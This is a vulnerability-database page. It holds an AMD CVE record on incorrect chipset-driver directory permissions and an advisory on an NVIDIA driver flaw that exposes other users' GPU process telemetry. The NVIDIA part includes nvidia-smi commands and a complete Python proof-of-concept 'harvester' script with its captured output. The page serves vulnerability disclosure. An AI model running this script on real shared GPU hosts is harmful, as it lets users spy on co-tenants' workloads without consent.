| AMD | AMD EPYC™ 9V64H Processor |
Unaffected:
AMD Server Software 8.03.16.641
|
|
| AMD | AMD EPYC™ 8004 Series Processors |
Unaffected:
AMD Server Software 8.03.16.641
|
|
| AMD | AMD EPYC™ 4005 Series Processors |
Unaffected:
AMD Chipset Driver 8.01.20.513
|
Date Public
2026-05-15 01:44
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-0432",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-15T00:00:00+00:00",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-16T03:56:10.732Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 4000 Series Mobile Processors with Radeon\u2122 Graphics",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 7035 Series Processors with Radeon\u2122 Graphics",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Athlon\u2122 3000 Series Mobile Processors with Radeon\u2122 Graphics",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 7040 Series Mobile Processors with Radeon\u2122 Graphics",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 7020 Series Processors with Radeon\u2122 Graphics",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 7045 Series Mobile Processors with Radeon\u2122 Graphics",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 7000 Series Desktop Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 3000 Series Desktop Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 Threadripper\u2122 PRO 3000 WX-Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 7030 Series Mobile Processors with Radeon\u2122 Graphics",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 Threadripper\u2122 PRO 3000 WX-Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 Threadripper\u2122 3000 Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 9000HX Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 AI 300 Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Athlon\u2122 3000 Series Desktop Processors with Radeon\u2122 Graphics",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 Threadripper\u2122 PRO 5000 WX-Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 Threadripper\u2122 7000 Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 Threadripper\u2122 PRO 7000 WX-Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 Threadripper\u2122 PRO 7000 WX-Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 8000 Series Desktop Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 9000 Series Desktop Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 5000 Series Mobile Processors with Radeon\u2122 Graphics",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 5000 Series Mobile Processors with Radeon\u2122 Graphics",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 4000 Series Desktop Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 5000 Series Desktop Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 5000 Series Desktop Processors with Radeon\u2122 Graphics",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 3000 Series Desktop Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 8040 Series Mobile Processors with Radeon\u2122 Graphics",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 6000 Series Processors with Radeon\u2122 Graphics",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 AI Max 300 Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 AI 400 Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Ryzen\u2122 Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 Embedded R1000 Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "Q1 - 2026 AMD Embedded V1000,R1000,R2000,V2000 Windows Chipset driver (72258)"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 Embedded R2000 Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "Q1 - 2026 AMD Embedded V1000,R1000,R2000,V2000 Windows Chipset driver (72258)"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 Embedded V1000 Series Processors (formerly codenamed \"Raven Ridge\")",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "Q1 - 2026 AMD Embedded V1000,R1000,R2000,V2000 Windows Chipset driver (72258)"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 Embedded V2000 Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "Q1 - 2026 AMD Embedded V1000,R1000,R2000,V2000 Windows Chipset driver (72258)"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD EPYC\u2122 Embedded 8004 Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "Q2-2026 AMD Emb Win Chipset drivers[Venice,Turin,Siena](72501)"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 Embedded 8000 Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "Q1- 2026 AMD Embedded Ryzen7000,Ryzen8000,Ryzen9000 Windows Chipset driver (72244)"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 Embedded 7000 Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "Q1- 2026 AMD Embedded Ryzen7000,Ryzen8000,Ryzen9000 Windows Chipset driver (72244)"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD EPYC\u2122 Embedded 9005 Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "Q2-2026 AMD Emb Win Chipset drivers[Venice,Turin,Siena](72501)"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Ryzen\u2122 Embedded 9000 Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "Q1- 2026 AMD Embedded Ryzen7000,Ryzen8000,Ryzen9000 Windows Chipset driver (72244)"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD EPYC\u2122 9004 Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Server Software 8.03.16.641"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD EPYC\u2122 7003 Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Server Software 8.03.14.329"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD EPYC\u2122 7002 Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Server Software 8.03.14.329"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD EPYC\u2122 7001 Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Server Software 8.03.14.329"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD EPYC\u2122 4004 Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Chipset Driver 8.01.20.513"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD EPYC\u2122 9005 Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Server Software 8.03.16.641"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD Instinct\u2122 MI300A Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Server Software 8.03.16.641"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD EPYC\u2122 9V64H Processor",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Server Software 8.03.16.641"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD EPYC\u2122 8004 Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Server Software 8.03.16.641"
}
]
},
{
"defaultStatus": "affected",
"product": "AMD EPYC\u2122 4005 Series Processors",
"vendor": "AMD",
"versions": [
{
"status": "unaffected",
"version": "AMD Chipset Driver 8.01.20.513"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Reported through AMD Bug Bounty Program"
}
],
"datePublic": "2026-05-15T01:44:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Incorrect default permissions in the installation directory for the AMD chipset driver could allow an attacker to achieve privilege escalation resulting in arbitrary code execution.\u003cbr\u003e"
}
],
"value": "Incorrect default permissions in the installation directory for the AMD chipset driver could allow an attacker to achieve privilege escalation resulting in arbitrary code execution."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 8.5,
"baseSeverity": "HIGH",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "LOW",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-276",
"description": "CWE-276 Incorrect Default Permissions",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-15T01:46:53.761Z",
"orgId": "b58fc414-a1e4-4f92-9d70-1add41838648",
"shortName": "AMD"
},
"references": [
{
"url": "https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-4015.html"
},
{
"url": "https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-3047.html"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "AMD PSIRT Automation 1.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "b58fc414-a1e4-4f92-9d70-1add41838648",
"assignerShortName": "AMD",
"cveId": "CVE-2026-0432",
"datePublished": "2026-05-15T01:46:24.662Z",
"dateReserved": "2025-12-06T13:53:34.788Z",
"dateUpdated": "2026-05-16T03:56:10.732Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0298
Vulnerability from gna-1988 – Published: 2026-09-08 11:40 – Updated: 2026-09-11 11:52
VLAI
EPSS
VEX
Title
NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML, no CVE (vendor: expected behavior)
Summary
NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML
============================================================================
On a multi-user Linux GPU host where mutually untrusted users can open
the same /dev/nvidia* devices - the driver's default mode is 0666 - an
unprivileged user can enumerate another user's GPU processes and
per-process GPU telemetry through standard NVML management APIs. NVML
directly returned the foreign PID, the per-process GPU-memory
allocation and the SM utilization; nvidia-smi additionally displayed
the process path, but the corresponding direct
nvmlSystemGetProcessName() call was not captured. Measured on one
configuration: A100, MIG off, bare metal, two local UIDs. No root, no
gpu/video/render group membership, no capabilities, no CUDA context of
the attacker's own, no performance counters, no injected traffic, no
race. The attacker learns, for processes belonging to other users:
PID, per-process GPU memory allocation, per-process SM utilization,
and - via nvidia-smi - the binary path. Read-only workload metadata;
no GPU memory contents are read. NVIDIA reviewed the finding and
determined it is expected behavior.
Affected: NVIDIA Linux GPU driver, NVML management plane
Tested: 595.71.05-open; core channels also reproduced on 565.57.01-open
Hardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off
Platform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9
(driver-reported runtime 13.2)
CWE: CWE-200 (exposure of information to an unauthorized actor),
CWE-862 (missing authorization)
Status: Closed by NVIDIA as expected behavior. No fix. Public
disclosure authorized by NVIDIA PSIRT 2026-08-20.
CVE: none assigned
Ref: Intigriti NVIDIA-W5AB0FZR
Companion: "NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via
undocumented peer-teardown ordering" - same node, same driver, same
0666 precondition
Root Cause
----------
Two independent facts compound.
(a) /dev/nvidia* is mode 0666 by driver default. This is set by the
kernel module, not by a site udev rule.
# grep -E 'ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly'
/proc/driver/nvidia/params
ModifyDeviceFiles: 1
DeviceFileMode: 438
RmProfilingAdminOnly: 1
438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module
rewrites existing device files to match its own defaults, so an
administrator who tightens the mode out-of-band can have it reverted
on module reload. The vendor sources agree: open-gpu-kernel-modules
carries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in
kernel-open/nvidia/nv-reg.h with the comment "The default mode is 0666
(octal, rw-rw-rw-)", and the driver README "Device files" section
documents UID 0 / GID 0 / Mode 0666 as the default, adding "Existing
device files are changed if their attributes don't match these
defaults."
(b) NVML management APIs apply no UID, cgroup, or capability check to
a caller holding that file descriptor. Any opener receives the
node-wide management view.
+------------------+ +-------------------+
| victim uid 1000 | | attacker uid 1011 |
| CUDA workload | | no groups, Cap=0 |
+--------+---------+ +---------+---------+
| |
| open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666)
v v
+-----------------------------------------------------------------------+
| nvidia.ko -> NVML management plane |
| |
| nvmlDeviceGetComputeRunningProcesses() -> ALL pids, ALL uids |
| nvmlDeviceGetProcessUtilization() -> ALL pids, ALL uids |
| ^ |
| +--- no ownership check anywhere on this path|
+-----------------------------------------------------------------------+
NVML already has the concept of privilege-gating this exact call -
just not in ordinary shared-GPU mode. From nvml.h, on both
nvmlDeviceGetComputeRunningProcesses_v3 and
nvmlDeviceGetMPSComputeRunningProcesses_v3:
"In MIG mode, if device handle is provided, the API returns aggregate
information,
only if the caller has appropriate privileges."
So under MIG, process enumeration through the physical-device handle
is privilege-gated. Outside MIG there is no corresponding UID
ownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3
documents NVML_ERROR_NO_PERMISSION in its return list and does not
return it here; nvmlDeviceGetProcessUtilization and
nvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error
at all.
Note RmProfilingAdminOnly: 1 in the same params output. The CUPTI
performance-counter plane IS gated behind CAP_SYS_ADMIN on this exact
node - that gate was added as the fix for CVE-2018-6260. The NVML
per-process management plane received no equivalent gate. That
asymmetry is the finding.
Attacker Prerequisites
----------------------
A shell account on the node. The observer used for all captured runs:
uid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser)
CapInh: 0000000000000000 -> NONE
CapPrm: 0000000000000000 -> NONE
CapEff: 0000000000000000 -> NONE
CapAmb: 0000000000000000 -> NONE
CapBnd: 000001ffffffffff
No sudo. Not in sudo/wheel/admin/docker/video/gpu/render.
No Docker socket. Cannot load kernel modules. Cannot ptrace other
users' processes.
Proof of Concept
----------------
Victim, uid 1000 - any long-running CUDA workload. The captured runs
used nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a
CUDA context works; this needs only pytorch:
python3 -c "import torch,time
x=torch.randn(8192,8192,device='cuda')
while True: x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)"
Attacker, uid 1011, via the shipped CLI:
nvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory
--format=csv,noheader
nvidia-smi pmon -c 3
nvidia-smi nvlink -gt d
That first command, run by an unprivileged user with no group
membership, is the entire exploit. Everything below is the same read
straight through NVML. Captured output as uid 1011 against the uid
1000 victim:
pid, process_name, used_gpu_memory [MiB], gpu_uuid
77977, /usr/local/bin/all_reduce_perf, 2288 MiB,
GPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278
77977, /usr/local/bin/all_reduce_perf, 2288 MiB,
GPU-fe44d319-939f-d747-de55-6802405cad8d
Full PoC code, harnesses and raw evidence for both findings:
<https://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc&source=gmail&ust=1787513712074000&sa=E>
Straight through NVML with no nvidia-smi involved. This is the complete exploit:
#!/usr/bin/env python3
# unprivileged cross-UID GPU telemetry harvester
# run as any local user: python3 harvest.py
# pip install nvidia-ml-py (provides the `pynvml` module; the standalone
# `pynvml` PyPI package is a deprecated shim as of v12)
import os, pwd, pynvml
def owner(pid):
try: return os.stat("/proc/%d" % pid).st_uid
except: return None
def exe(pid):
# Tries NVML first. NOTE: this direct call was not verified cross-UID here -
# see the note below the output. Falls back to cmdline, never to exe.
try:
n = pynvml.nvmlSystemGetProcessName(pid)
return n.decode() if isinstance(n, bytes) else n
except Exception:
# /proc/<pid>/cmdline is world-readable - this is how ps(1) shows other
# users' command lines. /proc/<pid>/exe is NOT: readlink on it needs
# PTRACE_MODE_READ, which this attacker does not have.
try: return open("/proc/%d/cmdline" % pid,"rb").read().split(b"\0")[0].decode()
except: return "?"
def owner_name(u):
try: return pwd.getpwuid(u).pw_name
except KeyError: return str(u) # no passwd entry: LDAP, containers
pynvml.nvmlInit()
me = os.getuid()
found = 0
for i in range(pynvml.nvmlDeviceGetCount()):
h = pynvml.nvmlDeviceGetHandleByIndex(i)
# cross-UID process table + per-process GPU memory
for p in pynvml.nvmlDeviceGetComputeRunningProcesses(h):
u = owner(p.pid)
if u is not None and u != me:
found += 1
print("[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s" % (
i, p.pid, u, owner_name(u),
(p.usedGpuMemory or 0) >> 20, exe(p.pid)))
# cross-UID per-process SM / memory-controller utilization.
# arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are
# returned, so a small constant drains everything the driver still buffers.
try:
for pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000):
u = owner(pu.pid)
if u is not None and u != me:
print("[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%" % (
i, pu.pid, u, pu.smUtil, pu.memUtil))
except pynvml.NVMLError as e:
# NVML_ERROR_NOT_FOUND here means the driver's sample buffer is empty,
# NOT that the call is gated. Poll for a few seconds and retry.
print(" nvmlDeviceGetProcessUtilization -> %s" % e)
# device-global telemetry, no gate at all
print("[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB" % (
i, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0,
pynvml.nvmlDeviceGetUtilizationRates(h).gpu,
pynvml.nvmlDeviceGetMemoryInfo(h).used >> 20))
if not found:
print("no cross-UID GPU processes visible (is a victim workload running?)")
Output:
[CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB
exe=/usr/local/bin/all_reduce_perf
[CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB
exe=/usr/local/bin/all_reduce_perf
[CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41%
NVML supplies the PID and the GPU memory figure. The binary path came
from nvidia-smi --query-compute-apps=process_name, which is
NVML-backed and returned the full path /usr/local/bin/all_reduce_perf
to the unprivileged observer - that output is captured. The direct
call, nvmlSystemGetProcessName(), is what the PoC above uses and it is
NOT something I captured cross-UID; NVML documents
NVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather
than taking it from me. The captured harness resolved names through
/proc. Note that /proc/<pid>/exe is not readable cross-UID, so if you
fall back to procfs use /proc/<pid>/cmdline, not exe. The only field
procfs is needed for is the owning UID, via stat() on /proc/<pid>.
Polling nvmlDeviceGetProcessUtilization in a loop yields a per-victim
SM utilization time series. What that supports on the evidence here is
busy-versus-idle and job start/stop. Finer structure - step cadence,
phase boundaries - is plausible but was not demonstrated, and I do not
claim it.
Results: 5/5 positive sessions with all seven machine-scored success
criteria passing, and 2/2 negative controls (no victim workload, no
cross-UID records) confirming the signal tracks the victim. For every
compute-app row root could see, the unprivileged observer saw a
matching row - same PID, same binary name, same GPU - in all five
positive sessions. That comparison is field-level (whitespace and row
order normalized, process name compared by basename), not a byte diff.
All channels leak with GPU accounting mode disabled, which is the
fresh default, so this is not a case of an administrator having
enabled accounting.
Telemetry Channels
------------------
Channel NVML API CLI Result
----------------------------- ---------------------------------------
---------------------- --------------------------
Process PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps
LEAKS (redundant with ps)
Binary path nvidia-smi's NVML-backed query --query-compute-apps LEAKS
(captured); direct
(nvmlSystemGetProcessName NOT captured) NVML call unverified
Per-process GPU memory nvmlDeviceGetComputeRunningProcesses
--query-compute-apps LEAKS - GPU-specific
Per-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS
- GPU-specific
NVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink
-gt d LEAKS via CLI - prior art
NVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS
Device power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global)
Impact
------
A low-privileged tenant on a shared HPC or AI node passively monitors
co-tenants in real time: who is running GPU work, which binary, the
GPU memory footprint (a model-size proxy), the SM utilization timeline
(training and idle cadence, step rate, job boundaries), and NVLink
pair activity (distributed job topology).
No computation content is read - no weights, a
Severity
No CVSS data available.
Assigner
References
6 references
Relationships
reference
GCVE-1988-2026-0298 (this record)
- related CVE-2018-6260
- related CVE-2021-1056
{
"containers": {
"cna": {
"affected": [
{
"product": "Linux GPU",
"vendor": "Nvidia",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Abhinav Agarwal"
}
],
"descriptions": [
{
"lang": "en",
"value": "NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML\n============================================================================\n\nOn a multi-user Linux GPU host where mutually untrusted users can open\nthe same /dev/nvidia* devices - the driver\u0027s default mode is 0666 - an\nunprivileged user can enumerate another user\u0027s GPU processes and\nper-process GPU telemetry through standard NVML management APIs. NVML\ndirectly returned the foreign PID, the per-process GPU-memory\nallocation and the SM utilization; nvidia-smi additionally displayed\nthe process path, but the corresponding direct\nnvmlSystemGetProcessName() call was not captured. Measured on one\nconfiguration: A100, MIG off, bare metal, two local UIDs. No root, no\ngpu/video/render group membership, no capabilities, no CUDA context of\nthe attacker\u0027s own, no performance counters, no injected traffic, no\nrace. The attacker learns, for processes belonging to other users:\nPID, per-process GPU memory allocation, per-process SM utilization,\nand - via nvidia-smi - the binary path. Read-only workload metadata;\nno GPU memory contents are read. NVIDIA reviewed the finding and\ndetermined it is expected behavior.\n\nAffected: NVIDIA Linux GPU driver, NVML management plane\nTested: 595.71.05-open; core channels also reproduced on 565.57.01-open\nHardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off\nPlatform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9\n(driver-reported runtime 13.2)\nCWE: CWE-200 (exposure of information to an unauthorized actor),\nCWE-862 (missing authorization)\nStatus: Closed by NVIDIA as expected behavior. No fix. Public\ndisclosure authorized by NVIDIA PSIRT 2026-08-20.\nCVE: none assigned\nRef: Intigriti NVIDIA-W5AB0FZR\nCompanion: \"NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via\nundocumented peer-teardown ordering\" - same node, same driver, same\n0666 precondition\n\n\nRoot Cause\n----------\n\nTwo independent facts compound.\n\n(a) /dev/nvidia* is mode 0666 by driver default. This is set by the\nkernel module, not by a site udev rule.\n\n# grep -E \u0027ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly\u0027\n/proc/driver/nvidia/params\nModifyDeviceFiles: 1\nDeviceFileMode: 438\nRmProfilingAdminOnly: 1\n\n438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module\nrewrites existing device files to match its own defaults, so an\nadministrator who tightens the mode out-of-band can have it reverted\non module reload. The vendor sources agree: open-gpu-kernel-modules\ncarries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in\nkernel-open/nvidia/nv-reg.h with the comment \"The default mode is 0666\n(octal, rw-rw-rw-)\", and the driver README \"Device files\" section\ndocuments UID 0 / GID 0 / Mode 0666 as the default, adding \"Existing\ndevice files are changed if their attributes don\u0027t match these\ndefaults.\"\n\n(b) NVML management APIs apply no UID, cgroup, or capability check to\na caller holding that file descriptor. Any opener receives the\nnode-wide management view.\n\n+------------------+ +-------------------+\n| victim uid 1000 | | attacker uid 1011 |\n| CUDA workload | | no groups, Cap=0 |\n+--------+---------+ +---------+---------+\n| |\n| open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666)\nv v\n+-----------------------------------------------------------------------+\n| nvidia.ko -\u003e NVML management plane |\n| |\n| nvmlDeviceGetComputeRunningProcesses() -\u003e ALL pids, ALL uids |\n| nvmlDeviceGetProcessUtilization() -\u003e ALL pids, ALL uids |\n| ^ |\n| +--- no ownership check 